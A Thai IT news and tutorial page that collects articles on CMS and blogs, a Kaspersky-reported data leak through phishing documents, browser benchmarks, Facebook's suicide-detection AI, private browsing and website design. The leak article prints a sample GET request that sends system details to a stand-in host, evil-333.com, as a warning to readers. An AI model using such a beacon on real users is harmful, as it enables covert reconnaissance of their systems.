• การใช้ CMS สร้างไซต์ ส่วนตัว ชมรม สมาคม สมาพันธ์ โดยวิธีการแบ่งงานกันทำ เป็นส่วนๆ ทำให้เกิดความสามัครคี ทำให้มีการทำงานเป็นทีมเวิร์คมากยิ่งขึ้น
• การนำ CMS มาใช้ในการสร้างเว็บไซต์สำหรับธุรกิจ SME โดยเฉพาะสินค้าหนึ่งตำบลหนึ่งผลิตภัณฑ์ หรือ OTOP กำลังได้รับความนิยมสูง
• การนำ CMS มาใช้แทนโปรแกรมลิขสิทธิ์ อื่นๆ เพื่อประหยัดค่าใช้จ่าย และง่ายต่อการพัฒนา
• การใช้ CMS ทำเป็น Intranet Web Site สร้างเว็บไซต์ใช้ภายในองค์กร

แล้ว CMS กับ Web log มันต่างกันตรงไหน
Web log นิยมเรียกสั้นๆ ว่า Blog หมายถึง เว็บไซต์ที่มีรูปแบบง่ายๆ โดยมากจะเป็นในลักษณะเว็บไซต์ส่วนตัวคนสร้างบล็อกต้องการบรรยายเหตุการณ์ส่วนตัว อาทิ ความในใจ ชีวิติครอบครัว เหตุการณ์ประทับใจในชีวิต อะไรทำนองนี้ โดยที่เนื้อหาของบล็อกแต่ละบล็อกนั้นจะเป็นเนื้อหาใหม่ล่าสุด ไล่ย้อนหลังลงกลับไปเรื่อยๆ กล่าวคือข้อความหลังสุดจะอยู่ด้านบนสุด เราเรียกคนที่ทำ Blog ว่า Blogger หรือ Weblogger โดยในเนื้อหาใน Blog นั้นจะส่วนประกอบสามส่วนคือ
• หัวข้อ (Title) เป็นหัวข้อสั้นสั้นๆ
• เนื้อหา (Post หรือ Content) เป็นเนื้อหาหลักที่คนสร้าง Blog ต้องการที่จะบอกให้คุณทราบ
• วันที่เขียน (Date) เป็นวัน เดือน ปี ที่เขียน
ทูลที่ใช้ทำ Blog เช่น pMachine , b2evolution, bBlog, MyPHPblog, Nucleus, WordPress, Simplog เป็นต้น
ปัจจุบันเว็บบล็อกบางตัวฝังโมดูลกระดานข่าวและอื่นๆ มาด้วย
หากจะพูดแบบภาษาชาวบ้าน CMS ก็คือปู่ของ Blog นั่นแหละครับ เพราะ CMS เองก็สามารถนำมาทำเป็น Blog ได้ แต่ CMS มันมีความสามารถอื่นๆ อีกมากที่บล็อกทำไม่

ระวัง! ถูกแฮกข้อมูลแบบไม่รู้ตัว

Kaspersky Lab ค้นพบช่องทางขโมยข้อมูลแบบใหม่ ในฟีเจอร์ของโปรแกรมพิมพ์เอกสารยอดนิยม ที่สามารถนำมาใช้ดักจับข้อมูลต่างๆ ไม่ว่าจะเป็น ข้อมูลเบราว์เซอร์ ข้อมูลเวอร์ชั่นของระบบปฏิบัติการ ข้อมูลซอฟต์แวร์ หรืออุปกรณ์ที่เปิดไฟล์ ทั้งบนคอมพิวเตอร์พีซี และมือถือสมาร์ทโฟน ได้แบบชนิดที่เรียกว่า “แนบเนียนสุดๆ

ระวัง! ถูกแฮกข้อมูลแบบไม่รู้ตัว ถ้าเปิดดูไฟล์ในอีเมลที่ไม่น่าไว้วางใจ
ตัวอย่างไฟล์เอกสาร “คำแนะนำวิธีการใช้กูเกิ้ลเสิร์ชเอนจิ้นให้ได้ประโยชน์สูงสุด” ที่ดูเหมือนจะไม่มีอะไร แต่ภายในมีโค้ดล้วงข้อมูลฝังอยู่

สิ่งที่จะทำให้ช่องโหว่นี้ทำงานก็คือ ไฟล์เอกสารที่แนบมาใน ฟิชชิงอีเมล (อีเมลที่หลอกให้คนกดเข้าไปอ่าน) หากผู้ใช้ “เปิดดูไฟล์” มันก็จะทำการส่งคำขอ GET Request ไปยังเว็บไซต์ภายนอกพร้อมกับข้อมูลต่างๆ โดยที่เราไม่รู้ตัว

*ตัวอย่างข้อมูลที่ถูกส่งไปยังเว็บไซต์ภายนอก
GET http://evil-333.com/cccccccccccc/ccccccccc/ccccccccc.php?cccccccccc HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.2; MSOffice 12)
Accept-Encoding: gzip, deflate
Host: evil-333.com
Proxy-Connection: Keep-Alive

และข้อมูลที่ถูกส่งออกไปนั้น มีทั้งประเภทของเว็บเบราว์เซอร์ที่ใช้ (Browser) ข้อมูลเวอร์ชั่นระบบปฏิบัติการ (OS) ข้อมูลซอฟต์แวร์ต่างๆ ที่ติดตั้งในเครื่อง (Trident, SLCC, .NET ฯลฯ) รวมถึงโปรแกรมที่ใช้เปิดไฟล์นั้นอีกด้วย ถือว่าเป็นเรื่องที่อันตรายมากๆ หากข้อมูลเหล่านี้อยู่ในมือแฮกเกอร์ อาจส่งผลเสียร้ายแรง และไม่แน่ว่าอาจจะถูกเจาะเข้าระบบง่ายขึ้นก็ได้นะ โดยช่องโหว่นี้ทาง Kaspersky Lab ได้แจ้งให้ผู้มีส่วนเกี่ยวข้องทราบเรียบร้อยแล้ว แต่ยังไม่มีการตอบกลับมาแต่อย่างใด เราคงต้องรอติดตามข่าวกันอีกที

อย่างไรก็ตามผู้เขียนมีวิธีป้องกันตัวแบบง่ายที่ใครๆ ก็ทำได้มาแนะนำก็คือ หลีกเลี่ยงการดาวน์โหลดไฟล์ต่างๆ ที่เราไม่รู้แหล่งที่มา และถ้าจำเป็นต้องเปิดจริงๆ ให้นำชื่อของแหล่งที่มานั้น ไปเสิร์ชหาข้อมูลบนอินเทอร์เน็ตก่อน เมื่อเราคิดว่ามั่นใจแล้วจึงค่อยเปิดดู ซึ่งวิธีนี้ยังใช้ป้องกันมัลแวร์ต่างๆ ได้อีกด้วยนะ หวังว่าข้อมูลนี้จะมีประโยชน์ไม่มากก็น้อยแก่ผู้อ่านทุกคน

Firefox Quantum ปะทะ Google Chrome

วันก่อนเราเพิ่งจะพูดถึงเบราว์เซอร์ตัวใหม่ Firefox Quantum ไป ตอนนี้มีผลการทดสอบประสิทธิภาพการทำงานเมื่อเทียบกับ Google Chrome ออกมาแล้วนะครับ

การทดสอบนี้ใช้ซีพียู Core i5 2500k และแรม 8GB ทั้งสองเบราว์เซอร์ไม่มีการติดตั้ง Extension หรือ Add-ons และมีการล้างประวัติการเล่นเว็บ, Cache และ Cookies จนหมดแล้ว มีการทดสอบทั้งหมดสามครั้งเพื่อหาค่าเฉลี่ยที่แม่นยำที่สุด ผลจะออกมาอย่างไร มาดูกัน


ทดสอบ Ares-6

Ares-6 จะเป็นการทดสอบว่าตัวเบราว์เซอร์สามารถรัน Javascript และค่าฟ่ังค์ชั่นต่างๆ ได้เร็วขนาดไหน

ผลทดสอบ Firefox Quantum ปะทะ Google Chrome มาดูกันว่าใครเทพกว่า
ค่ายิ่งน้อย ยิ่งดี

ผลทดสอบ Firefox Quantum ปะทะ Google Chrome มาดูกันว่าใครเทพกว่า

จากการทดสอบ จะเห็นได้ว่า ความเร็วในการประมวลผล Javascript เบราว์เซอร์ Chrome ยังมีประสิทธิภาพที่เร็วกว่ามากพอสมควร

ผู้ชนะ : Google Chrome


JetStream

JetStream 1.1 เป็นการทดสอบความสามารถในการทำงานของเว็บแอพพลิเคชั่น มันจะวัดค่าหลายอย่าง เช่น 3D cube rotation, Integer math และ Library parsing

ผลทดสอบ Firefox Quantum ปะทะ Google Chrome มาดูกันว่าใครเทพกว่า
ค่ายิ่งเยอะ ยิ่งดี

ผลทดสอบ Firefox Quantum ปะทะ Google Chrome มาดูกันว่าใครเทพกว่า

ผลการทดสอบในครั้งนี้ Firefox ได้คะแนนที่สูงกว่าเล็กน้อย ทาง JetStream ได้ระบุว่า “Firefox ทำงานด้าน Advanced workloads และ Programming techniques ได้ดีกว่าเล็กน้อย”

ผู้ชนะ : Firefox Quantum


Speedometer

Speedometer เป็นการจำลองการกระทำของผู้ใช้งานบนหน้าเว็บแอพพลิเคชั่น (อย่างเช่น การใส่ข้อมูลลงในตารางสิ่งที่ต้องทำ (To-do list)) และทำการวัดค่าระยะเวลาทีี่ต้องใช้

ผลทดสอบ Firefox Quantum ปะทะ Google Chrome มาดูกันว่าใครเทพกว่า
ค่ายิ่งเยอะ ยิ่งดี

ผลทดสอบ Firefox Quantum ปะทะ Google Chrome มาดูกันว่าใครเทพกว่า

ผลการทดสอบออกมาพบว่า การโต้ตอบกับผู้ใช้งานนั้น Chrome ก็ยังทำงานได้เร็วกว่าอยู่ดี

ผู้ชนะ : Google Chrome


สรุป

Firefox Quantum มีการพัฒนาขึ้นมาจนท้าชนกับ Chrome ได้อย่างน่าสนใจ แม้ว่าความเร็วโดยรวมจะยังสู้ Chrome ไม่ได้ แต่ Firefox ก็มีข้อดีตรงที่ทรัพยากรแรมในการทำงานน้อยกว่า Chrome พอสมควร ซึ่งทาง Mozilla เคลมว่าใช้น้อยกว่า Chrome ถึง 30% เลยล่ะ

Facebook เริ่มใช้งานระบบปัญญาประดิษฐ์ใหม่

ในยุคที่ผู้คนเขียนบรรยายทุกเรื่องราวในชีวิตลง Facebook จึงไม่น่าแปลกใจที่บางคนอาจจะโพสต์ข้อความบางอย่าง หรือโพสต์เนื้อหาวีดีโอ ที่สื่อให้เห็นว่าเขามีความคิดที่อยากจะฆ่าตัวตาย ซึ่งการโพสต์เนื้อหาที่ว่านี้ อาจจะเกิดขึ้นในเวลา 2-3 วันก่อนที่เขาจะตัดสินใจลงมือจริง และด้วยความตั้งใจจริงที่จะรับมือกับปัญหาการฆ่าตัวตายในระดับที่ก้าวหน้า Facebook ได้ทำการเปิดตัวเครื่องมือปัญญาประดิษฐ์ใหม่ ที่ออกแบบมาเพื่อการตรวจจับโพสต์ที่สื่อความหมายว่า ผู้โพสต์กำลังมีความคิดอยากฆ่าตัวตาย เพื่อการให้คำแนะนำ และนำเสนอความความช่วยเหลือได้อย่างทันท่วงที ก่อนที่จะมีการลงมือจริง

เครื่องมือปัญญาประดิษฐ์ใหม่ของ Facebook สามารถวิเคราะห์และตรวจจับโพสต์ รวมถึงวีดีโอ Live ที่มีความหมายสื่อถึงการอยากฆ่าตัวตาย โดยที่ระบบปัญญาประดิษฐ์สามารถนำเสนอตัวเลือก สำหรับช่องทางการช่วยเหลือ อย่างเช่นการโทรคุยกับสายที่ให้คำปรึกษาคนที่มีความคิดอยากฆ่าตัวตาย หรือแสดงทิปส์คำแนะนำเพื่อให้คนที่มีความคิดอยากฆ่าตัวตายสามารถผ่านช่วงเวลาที่ยากลำบากไปได้ หรือนำเสนอตัวเลือกเพื่อให้พูดคุยกับเพื่อสนิท และทาง Facebook บอกว่าฟีเจอร์ใหม่นี้จะเปิดให้บริการกับผู้คนทั่วโลกในที่สุดแต่ยกเว้นการให้บริการผู้คนในกลุ่มประเทศ EU

Facebook เริ่มใช้งานระบบปัญญาประดิษฐ์ใหม่ ให้ความช่วยเหลือคนที่คิดฆ่าตัวตาย

โดย Facebook อธิบายถึงวิธีการทำงานของระบบนี้เอาไว้ว่า

  • พวกเราใช้ระบบปัญญาประดิษฐ์ในการจัดลำดับความสำคัญของเนื้อหาที่สื่อถึงความคิดอยากฆ่าตัวตาย ไม่ว่าจะเป็นโพสต์ คลิปวีดีโอ หรือการ Live เพื่อให้ทีมงานของเราสามารถไล่ดูเนื้อหาได้อย่างเหมาะสม ตามลำดับความสำคัญก่อนหลัง เพื่อที่เราจัดได้จัดเตรียมช่องทางการช่วยเหลือที่เหมาะสม
  • บริบทในภาพรวมของเนื้อหาก็มีความสำคัญกับทีมงานของเรามาก ดังนั้นเราจึงพัฒนาเครื่องมือเพื่อทำให้ผู้คนได้รับความช่วยเหลือเร็วที่สุดเท่าที่จะเป็นไปได้ ตัวอย่างเช่น ทีมงานของเราสามารถตรวจสอบได้อย่างรวดเร็วว่า ช่วงเวลาไหนของคลิปวีดีโอ ที่มีการคอมเม้นท์ของผู้คนเป็นจำนวนมาก รวมถึงปฏิกิริยาของผู้คนบน Facebook ซึ่งเครื่องมือเหล่านี้ทำให้ทีมงานเข้าใจได้ว่า ใครต้องการความช่วยเหลืออย่างแท้จริง
  • นอกจากจะมีเครื่องมือต่างๆ แล้ว พวกเขายังใช้ระบบอัตโนมัติ ที่ช่วยให้สามารถเข้าถึงข้อมูลเกี่ยวกับช่องทางการช่วยเหลือต่างๆ ได้อย่างรวดเร็ว

และทาง Facebook ยังให้ข้อมูลเพิ่มเติมอีกว่า มีทีมงานประจำในหน้าทีนี้ 365 วันใน 1 ปี เพื่อคอยตรวจสอบโพสต์และเนื้อหาใดๆ ที่แสดงถึงความต้องการฆ่าตัวตาย และในเวลานี้ Facebook ทำงานอย่างใกล้ชิดกับหน่วยงานที่ให้ความช่วยเหลือผู้ที่กำลังจะฆ่าตัวตาย เพื่อประสานให้ความช่วยเหลืออย่างรวดเร็ว

ข่าว Information Technology(IT)

Private Browsing Mode หรือโหมดไม่ระบุตัวตน เป็นฟีเจอร์ที่มีประโยชน์มากในการใช้งานเว็บเบราว์เซอร์ การใช้งานในโหมดนี้ จะทำให้หน้าเว็บหรือไฟล์ที่ดาวน์โหลดมา จะไม่ถูกบันทึกในประวัติการใช้งานเบราว์เซอร์  ซึ่งช่วยเพิ่มความปลอดภัยในขณะที่คุณเข้าใช้งานเว็บไซต์ที่เป็นข้อมูลส่วนบุคคล หรือมีเนื้อหาที่ละเอียดอ่อน อย่างเช่น Paypal หรืออินเทอร์เน็ตแบงค์กิ้ง รวมไปถึงกรณีที่คุณอาจจะไม่อยากให้ใครๆ รู้ว่าคุณแอบดูเว็บโป๊ด้วยก็ได้

แต่การเคลียร์ประวัติการใช้งานนั้นจะเกิดขึ้น ก็ต่อเมื่อคุณไม่ลืมที่จะเปิด “โหมดไม่ระบุตัวตน” ที่ว่านี้ทุกครั้ง ซึ่งคงจะดีแน่ๆ ถ้าเว็บเบราว์เซอร์สามารถเปลี่ยนเข้าสู่โหมดไม่ระบุตัวตนให้คุณแบบอัตโนมัติทุกครั้งที่มีการเปิดใช้งานเว็บไซต์ที่มีเนื้อหาละเอียดอ่อนอย่างที่ว่ามานี้

ข่าวดีก็คือ ในตอนนี้ไมโครซอฟท์ได้พัฒนาฟีเจอร์ใหม่เพื่อรองรับการทำงานที่ว่านี้แล้ว ซึ่งกำลังอยู่ในช่วงการยื่นขอรับสิทธิบัตรอยู่ โดยคาดว่าจะเพิ่มให้กับโปรแกรมเว็บเบราว์เซอร์ Edge ในอนาคต

ไมโครซอฟท์พัฒนาฟีเจอร์ให้เบราว์เซอร์เข้าโหมดไม่ระบุตัวตนทันที เมื่อเข้าเว็บที่อาจมีอันตราย

ฟีเจอร์ที่ว่านี้จะทำการตรวจสอบเว็บไซต์ที่คุณเปิดกับฐานข้อมูล และถ้าหากพบการนี่คือเว็บไซต์ที่มีเนื้อหาละเอียดอ่อน(NSFW) ระบบก็จะเปลี่ยนไปที่ใช้งานในโหมดไม่ระบุตัวตนให้โดยอัตโนมัติ นอกจากนี้คุณยังสามารถเพิ่มเว็บไซต์ที่คุณต้องการเปิด(หรือไม่เปิด) ในโหมดส่วนตัวได้เองด้วย

สิ่งสำคัญที่คุณยังต้องจำไว้คือ ถึงอย่างไรการทำงานของเบราว์เซอร์ยังคงมีการส่ง DNS Request ในทุกครั้งที่คุณเข้าใช้งานเว็บอะไรก็ตาม ซึ่งมันจะยังคงถูกบันทึกเอาไว้ที่ไหนซักที่บนโลกนี้อยู่ดี

โครงสร้างเว็บไซต์

ในการกำหนดโครงสร้างของเว็บไซต์นั้นจะเป็นการออกแบบส่วนประกอบทั้งหมดของเว็บไซต์ที่ต้องการจะแสดงให้ผู้เข้าชมรู้ว่า เว็บไซต์เรานั้นมีทั้งหมดกี่หน้า ในแต่ละหน้าเป็นส่วนการแสดงของรายละเอียดอะไรแต่ละเชื่อมโยงกันอย่างไร
การออกแบบโครงสร้างเว็บไซต์ คือ การวางแผนการจัดลำดับ เนื้อหาสาระของเว็บไซต์ ออกเป็นหมวดหมู่ เพื่อจัดทำเป็นโครงสร้างในการจัดวางหน้าเว็บเพจทั้งหมด เปรียบเสมือนแผนที่ ที่ทำให้เห็นโครงสร้างทั้งหมดของเว็บไซต์ ช่วยให้นักพัฒนาเว็บไซต์ไม่หลงทาง การจัดโครงสร้างของเว็บไซต์ มีจุดมุ่งหมายสำคัญคือ การที่จะทำให้ผู้เข้าเยี่ยมชม สามารถค้นหาข้อมูลในเว็บเพจได้อย่างเป็นระบบ ซึ่งถือว่าเป็นขั้นตอนที่สำคัญ ที่สามารถสร้างความสำเร็จให้กับผู้ที่ทำหน้าที่ในการออกแบบและพัฒนาเว็บไซต์ (Webmaster) การออกแบบโครงสร้างหรือจัดระเบียบของข้อมูลที่ชัดเจน แยกย่อยเนื้อหาออกเป็นส่วนต่าง ๆ ที่สัมพันธ์กันและให้อยู่ในมาตรฐานเดียวกัน จะช่วยให้น่าใช้งานและง่าย ต่อการเข้าอ่านเนื้อหาของผู้ใช้เว็บไซต์

หลักการออกแบบโครงสร้างเว็บไซต์มีดังนี้
1. กำหนดวัตถุประสงค์ โดยพิจารณาว่าเป้าหมายของการสร้างเว็บไซต์นี้ทำเพื่ออะไร
2. ศึกษาคุณลักษณะของผู้ที่เข้ามาใช้ว่ากลุ่มเป้าหมายใดที่ผู้สร้างต้องการสื่อสาร ข้อมูลอะไรที่พวกเขาต้องการโดยขั้นตอนนี้ควรปฏิบัติควบคู่ไปกับขั้นตอนที่หนึ่ง
3. วางแผนเกี่ยวกับการจัดรูปแบบโครงสร้างเนื้อหาสาระ การออกแบบเว็บไซต์ต้องมีการจัดโครงสร้างหรือจัดระเบียบข้อมูลที่ชัดเจน การที่เนื้อหามีความต่อเนื่องไปไม่สิ้นสุดหรือกระจายมากเกินไป อาจทำให้เกิดความสับสนต่อผู้ใช้ได้ ฉะนั้นจึงควรออกแบบให้มีลักษณะที่ชัดเจนแยกย่อยออกเป็นส่วนต่าง ๆ จัดหมวดหมู่ในเรื่องที่สัมพันธ์กัน รวมทั้งอาจมีการแสดงให้ผู้ใช้เห็นแผนที่โครงสร้างเพื่อป้องกันความสับสนได้
4. กำหนดรายละเอียดให้กับโครงสร้าง ซึ่งพิจารณาจากวัตถุประสงค์ที่ตั้งไว้ โดยตั้งเกณฑ์ในการใช้ เช่น ผู้ใช้ควรทำอะไรบ้าง จำนวนหน้าควรมีเท่าใด มีการเชื่อมโยง มากน้อยเพียงใด

รูปแบบโครงสร้างเว็บไซต์
การออกแบบโครงสร้างเว็บไซต์ ขึ้นอยู่กับลักษณะของข้อมูลและความชอบของผู้ออกแบบ ตลอดจนกลุ่มเป้าหมายที่ต้องการนำเสนอ โครงสร้างของเว็บไซต์ประกอบไปด้วย 4 รูปแบบใหญ่ๆ ได้ดังนี้

1. โครงสร้างแบบเรียงลำดับ (Sequential Structure)
เป็นโครงสร้างแบบธรรมดาที่ใช้กันมากที่สุดเนื่องจากง่ายต่อการจัดระบบข้อมูล ข้อมูลที่นิยม จัดด้วยโครงสร้างแบบนี้มักเป็นข้อมูลที่มีลักษณะเป็นเรื่องราวตามลำดับของเวลา เช่น การเรียงลำดับตามตัวอักษร ดรรชนี สารานุกรม หรืออภิธานศัพท์ โครงสร้างแบบนี้ เหมาะกับเว็บไซต์ที่มีขนาดเล็ก เนื้อหาไม่ซับซ้อนใช้การลิงก์ (Link) ไปทีละหน้า ทิศทางของการเข้าสู่เนื้อหา (Navigation) ภายในเว็บจะเป็นการดำเนินเรื่องในลักษณะเส้นตรง โดยมี ปุ่มเดินหน้า-ถอยหลังเป็นเครื่องมือหลักในการกำหนดทิศทาง ข้อเสียของโครงสร้างระบบนี้คือ ผู้ใช้ไม่สามารถกำหนดทิศทางการเข้าสู่เนื้อหาของตนเองได้

         2. โครงสร้างแบบลำดับขั้น (Hierarchical Structure)
เป็นวิธีที่ดีที่สุดวิธีหนึ่งในการจัดระบบโครงสร้างที่มีความซับซ้อนของข้อมูล โดยแบ่งเนื้อหา ออกเป็นส่วนต่างๆ และมีรายละเอียดย่อยๆ ในแต่ละส่วนลดหลั่นกันมาในลักษณะแนวคิดเดียวกับ แผนภูมิองค์กร จึงเป็นการง่ายต่อการทำความเข้าใจกับโครงสร้างของเนื้อหาในเว็บลักษณะนี้ ลักษณะเด่นเฉพาะของ เว็บประเภทนี้คือการมีจุดเริ่มต้นที่จุดร่วมจุดเดียว นั่นคือ โฮมเพจ (Homepage) และเชื่อมโยงไปสู่เนื้อหา ในลักษณะเป็นลำดับจากบนลงล่าง

3. โครงสร้างแบบตาราง (Grid Structure) 
โครงสร้างรูปแบบนี้มีความซับซ้อนมากกว่ารูปแบบที่ผ่านมา การออกแบบเพิ่มความยืดหยุ่น ให้แก่การเข้าสู่เนื้อหาของผู้ใช้ โดยเพิ่มการเชื่อมโยงซึ่งกันและกันระหว่างเนื้อหาแต่ละส่วน เหมาะแก่ การแสดงให้เห็นความสัมพันธ์กันของเนื้อหา การเข้าสู่เนื้อหาของผู้ใช้จะไม่เป็นลักษณะเชิงเส้นตรง เนื่องจากผู้ใช้สามารถเปลี่ยนทิศทางการเข้าสู่เนื้อหาของตนเองได้ เช่น ในการศึกษาข้อมูลประวัติศาสตร์ สมัยสุโขทัย อยุธยา ธนบุรี และรัตนโกสินทร์ โดยในแต่ละสมัยแบ่งเป็นหัวข้อย่อยเหมือนกันคือ การปกครอง ศาสนา วัฒนธรรม และภาษา ในขณะที่ผู้ใช้กำลังศึกษาข้อมูลทางประวัติศาสตร์เกี่ยวกับ การปกครองในสมัยอยุธยา ผู้ใช้อาจศึกษาหัวข้อศาสนาเป็นหัวข้อต่อไปก็ได้ หรือจะข้ามไปดูหัวข้อ การปกครองในสมัยรัตนโกสินทร์ก่อนก็ได้เพื่อเปรียบเทียบลักษณะข้อมูลที่เกิดขึ้นคนละสมัยกัน

         4. โครงสร้างแบบใยแมงมุม (Web Structure)
โครงสร้างประเภทนี้จะมีความยืดหยุ่นมากที่สุด ทุกหน้าในเว็บสามารถจะเชื่อมโยงไปถึงกัน ได้หมด เป็นการสร้างรูปแบบการเข้าสู่เนื้อหาที่เป็นอิสระ ผู้ใช้สามารถกำหนดวิธีการเข้าสู่เนื้อหาได้ด้วย ตนเอง การเชื่อมโยงเนื้อหาแต่ละหน้าอาศัยการโยงใยข้อความที่มีมโนทัศน์ (Concept) เหมือนกัน ของแต่ละหน้าในลักษณะของไฮเปอร์เท็กซ์หรือไฮเปอร์มีเดีย โครงสร้างลักษณะนี้จัดเป็นรูปแบบที่ ไม่มีโครงสร้างที่แน่นนอนตายตัว (Unstructured) นอกจากนี้การเชื่อมโยงไม่ได้จำกัดเฉพาะเนื้อหา ภายในเว็บนั้นๆ แต่สามารถเชื่อมโยงออกไปสู่เนื้อหาจากเว็บภายนอกได้

หลักการออกแบบเว็บไซต์

หลักการออกแบบเว็บไซต์ 

 

เรามาเรียนรู้กับ 9 วิธีการออกแบบเว็บไซต์กันเถอะ

1. ความเรียบง่าย (Simplicity)

หมายถึง การจำกัดองค์ประกอบเสริมให้เหลือเฉพาะองค์ประกอบหลัก กล่าวคือในการสื่อสารเนื้อหากับผู้ใช้นั้น เราต้องเลือกเสนอสิ่งที่เราต้องการนำเสนอจริง ๆ ออกมาในส่วนของกราฟิก สีสัน ตัวอักษรและภาพเคลื่อนไหว ต้องเลือกให้พอเหมาะ ถ้าหากมีมากเกินไปจะรบกวนสายตาและสร้างความคำราญต่อผู้ใช้ตัวอย่างเว็บไซต์ที่ได้รับการออกแบบที่ดี ได้แก่ เว็บไซต์ของบริษัทใหญ่ ๆ อย่างเช่น Apple Adobe Microsoft หรือ Kokia ที่มีการออกแบบเว็บไซต์ในรูปแบบที่เรียบง่าย ไม่ซับซ้อน และใช้งานอย่างสะดวก

2. ความสม่ำเสมอ ( Consistency)

หมายถึง การสร้างความสม่ำเสมอให้เกิดขึ้นตลอดทั้งเว็บไซต์ โดยอาจเลือกใช้รูปแบบเดียวกันตลอดทั้งเว็บไซต์ก็ได้ เพราะถ้าหากว่าแต่ละหน้าในเว็บไซต์นั้นมีความแตกต่างกันมากจนเกินไป อาจทำให้ผู้ใช้เกิดความสับสนและไม่แน่ใจว่ากำลังอยู่ในเว็บไซต์เดิมหรือไม่ เพราะฉะนั้นการออกแบบเว็บไซต์ในแต่ละหน้าควรที่จะมีรูปแบบ สไตล์ของกราฟิก ระบบเนวิเกชั่น (Navigation) และโทนสีที่มีความคล้ายคลึงกันตลอดทั้งเว็บไซต์

3. ความเป็นเอกลักษณ์ (Identity)

ในการออกแบบเว็บไซต์ต้องคำนึงถึงลักษณะขององค์กรเป็นหลัก เนื่องจากเว็บไซต์จะสะท้อนถึงเอกลักษณ์และลักษณะขององค์กร การเลือกใช้ตัวอักษร ชุดสี รูปภาพหรือกราฟิก จะมีผลต่อรูปแบบของเว็บไซต์เป็นอย่างมาก ตัวอย่างเช่น ถ้าเราต้องออกแบบเว็บไซต์ของธนาคารแต่เรากลับเลือกสีสันและกราฟิกมากมาย อาจทำให้ผู้ใช้คิดว่าเป็นเว็บไซต์ของสวนสนุกซึ่งส่งผลต่อความเชื่อถือขององค์กรได้

4. เนื้อหา (Useful Content)

ถือเป็นสิ่งสำคัญที่สุดในเว็บไซต์ เนื้อหาในเว็บไซต์ต้องสมบูรณ์และได้รับการปรับปรุงพัฒนาให้ทันสมัยอยู่เสมอ ผู้พัฒนาต้องเตรียมข้อมูลและเนื้อหาที่ผู้ใช้ต้องการให้ถูกต้องและสมบูรณ์ เนื้อหาที่สำคัญที่สุดคือเนื้อหาที่ทีมผู้พัฒนาสร้างสรรค์ขึ้นมาเอง และไม่ไปซ้ำกับเว็บอื่น เพราะจะถือเป็นสิ่งที่ดึงดูดผู้ใช้ให้เข้ามาเว็บไซต์ได้เสมอ แต่ถ้าเป็นเว็บที่ลิงค์ข้อมูลจากเว็บอื่น ๆ มาเมื่อใดก็ตามที่ผู้ใช้ทราบว่า ข้อมูลนั้นมาจากเว็บใด ผู้ใช้ก็ไม่จำเป็นต้องกลับมาใช้งานลิงค์เหล่านั้นอีก

5. ระบบเนวิเกชั่น (User-Friendly Navigation)

เป็นส่วนประกอบที่มีความสำคัญต่อเว็บไซต์มาก เพราะจะช่วยไม่ให้ผู้ใช้เกิดความสับสนระหว่างดูเว็บไซต์ ระบบเนวิเกชั่นจึงเปรียบเสมือนป้ายบอกทาง ดังนั้นการออกแบบเนวิเกชั่น จึงควรให้เข้าใจง่าย ใช้งานได้สะดวก ถ้ามีการใช้กราฟิกก็ควรสื่อความหมาย ตำแหน่งของการวางเนวิเกชั่นก็ควรวางให้สม่ำเสมอ เช่น อยู่ตำแหน่งบนสุดของทุกหน้าเป็นต้น ซึ่งถ้าจะให้ดีเมื่อมีเนวิเกชั่นที่เป็นกราฟิกก็ควรเพิ่มระบบเนวิเกชั่นที่เป็นตัวอักษรไว้ส่วนล่างด้วย เพื่อช่วยอำนวยความสะดวกให้กับผู้ใช้ที่ยกเลิกการแสดงผลภาพกราฟิกบนเว็บเบราเซอร์

6. คุณภาพของสิ่งที่ปรากฏให้เห็นในเว็บไซต์ (Visual Appeal)

ลักษณะที่น่าสนใจของเว็บไซต์นั้น ขึ้นอยู่กับความชอบส่วนบุคคลเป็นสำคัญ แต่โดยรวมแล้วก็สามารถสรุปได้ว่าเว็บไซต์ที่น่าสนใจนั้นส่วนประกอบต่าง ๆ ควรมีคุณภาพ เช่น กราฟิกควรสมบูรณ์ไม่มีรอยหรือขอบขั้นบันได้ให้เห็น ชนิดตัวอักษรอ่านง่ายสบายตา มีการเลือกใช้โทนสีที่เข้ากันอย่างสวยงาม เป็นต้น

7. ความสะดวกของการใช้ในสภาพต่าง ๆ (Compatibility)

การใช้งานของเว็บไซต์นั้นไม่ควรมีขอบจำกัด กล่าวคือ ต้องสามารถใช้งานได้ดีในสภาพแวดล้อมที่หลากหลาย ไม่มีการบังคับให้ผู้ใช้ต้องติดตั้งโปรแกรมอื่นใดเพิ่มเติม นอกเหนือจากเว็บบราวเซอร์ ควรเป็นเว็บที่แสดงผลได้ดีในทุกระบบปฏิบัติการ สามารถแสดงผลได้ในทุกความละเอียดหน้าจอ ซึ่งหากเป็นเว็บไซต์ที่มีผู้ใช้บริการมากและกลุ่มเป้าหมายหลากหลายควรให้ความสำคัญกับเรื่องนี้ให้มาก

8. ความคงที่ในการออกแบบ (Design Stability)

ถ้าต้องการให้ผู้ใช้งานรู้สึกว่าเว็บไซต์มีคุณภาพ ถูกต้อง และเชื่อถือได้ ควรให้ความสำคัญกับการออกแบบเว็บไซต์เป็นอย่างมาก ต้องออกแบบวางแผนและเรียบเรียงเนื้อหาอย่างรอบคอบ ถ้าเว็บที่จัดทำขึ้นอย่างลวก ๆ ไม่มีมาตรฐานการออกแบบและระบบการจัดการข้อมูล ถ้ามีปัญหามากขึ้นอาจส่งผลให้เกิดปัญหาและทำให้ผู้ใช้หมดความเชื่อถือ

9. ความคงที่ของการทำงาน (Function Stability)

ระบบการทำงานต่าง ๆ ในเว็บไซต์ควรมีความถูกต้องแน่นอน ซึ่งต้องได้รับการออกแบบสร้างสรรค์และตรวจสอบอยู่เสมอ ตัวอย่างเช่น ลิงค์ต่าง ๆ ในเว็บไซต์ ต้องตรวจสอบว่ายังสามารถลิงค์ข้อมูลได้ถูกต้องหรือไม่ เพราะเว็บไซต์อื่นอาจมีการเปลี่ยนแปลงได้ตลอดเวลา ปัญหาที่เกิดจากลิงค์ ก็คือ ลิงค์ขาด ซึ่งพบได้บ่อยเป็นปัญหาที่สร้างความรำคาญกับผู้ใช้เป็นอย่างมาก

Follow by Email
Facebook
GOOGLE
TWITTER
YOUTUBE